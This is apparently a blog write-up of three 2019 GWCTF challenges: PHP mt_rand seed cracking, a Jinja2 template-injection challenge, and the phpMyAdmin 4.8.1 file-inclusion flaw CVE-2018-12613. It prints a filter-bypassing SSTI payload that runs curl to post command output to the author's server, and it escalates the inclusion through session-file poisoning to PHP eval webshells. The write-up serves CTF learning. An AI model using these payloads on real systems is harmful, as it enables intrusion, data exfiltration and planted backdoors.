2019 GWCTF部分题解


1.枯燥的抽奖

伪随机数种子猜解,这里用别人写好的工具php_mt_seed找到种子,先转换成工具容易识别的格式,然后得到种子,找到后面的数字即可。

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='3u6dFIRBNn'
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

1576198065261

<?php
mt_srand(841432117);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 20);
echo "<p id='p1'>".$str_show."</p>";

2.你的名字

ssti,过滤了一些关键字为空,不能有,给出payload,vps上nc -lvp port,效果如下

{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclasconfigses__()[59].__inconfigit__.fconfigunc_glconfigobals.linecconfigache.oconfigs.popconfigen('curl http://ip:prot/ -d `ls /|grep flag`;') %}1{% endiconfigf %}	//找flag
```

```python
{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclasconfigses__()[59].__inconfigit__.fconfigunc_glconfigobals.linecconfigache.oconfigs.popconfigen('curl http://ip:prot/ -d `cat /flag_1s_Hera`;') %}1{% endiconfigf %}    //读flag

1576158079092

3.我有一个数据库

CVE-2018-12613的复现,影响版本:4.8.0—4.8.1。访问phpmyadmin直接进来phpmyadmin界面,发现版本为4.8.1测试一下存在CVE-2018-12613包含漏洞。

1575877114348

盲猜flag在根目录

http://083f32c3-c02b-4539-b8ee-1143cd206bb0.node3.buuoj.cn/phpmyadmin?target=db_sql.php%253f/../../../../../../../../flag    //得到flag

这样就没意思啦,想办法getshell,用它这个漏洞包含日志getshell,但是前提我们要知道日志的路径,它在robots.txt给了一个phpinfo页面,查看一下session.save_path的值可以得到路径。(一般默认就是这个 /var/lib/php/sessions )

1575877560989

在phpmyadmin中执行sql语句,如select ‘<?php @eval($_GET[“a”]);?>’,然后这句话会写到日志,将日志包含就可以(ps:测试环境好像不能post传参)

1575878167633

然后找到session的值,命名时会在session的值前面+sess_,所以最终payload如下

http://083f32c3-c02b-4539-b8ee-1143cd206bb0.node3.buuoj.cn/phpmyadmin?target=db_sql.php%253f/../../../../../../../..//var/lib/php/sessions/sess_oolmt4nq15g2hlg01034uqousu&a=phpinfo();

但是这个日志太多看得难受,试了一下能不能写文件上去,发现是可以的,在1.php写进了一句话

http://083f32c3-c02b-4539-b8ee-1143cd206bb0.node3.buuoj.cn/phpmyadmin?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_oolmt4nq15g2hlg01034uqousu&a=file_put_contents('1.php','<?php @eval($_POST[a]);?>');

现在感觉就好多了,最后找到flag。


Author: LiM
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source LiM !
 Previous
2019 Stalker招新web和crypto题解 2019 Stalker招新web和crypto题解
WEB来签个到吧这个题考脑洞,打开链接一看url感觉不太对劲,是D0G.php,题目提示了不是DOG吗,所以访问DOG.php,提交得到flag。 代码审计第一层是extract($_GET);可以变量覆盖,所以只要构造a和b值为空就行,具
2019-12-10 LiM
Next 
2019 安洵杯部分题解 2019 安洵杯部分题解
2019 安洵杯部分题解 1.easy_web img参数可控可以读文件,文件名是两次base64加密+一次hex加密 ,读到源码为 <?php error_reporting(E_ALL || ~ E_NOTICE); header
2019-12-05 LiM
  TOC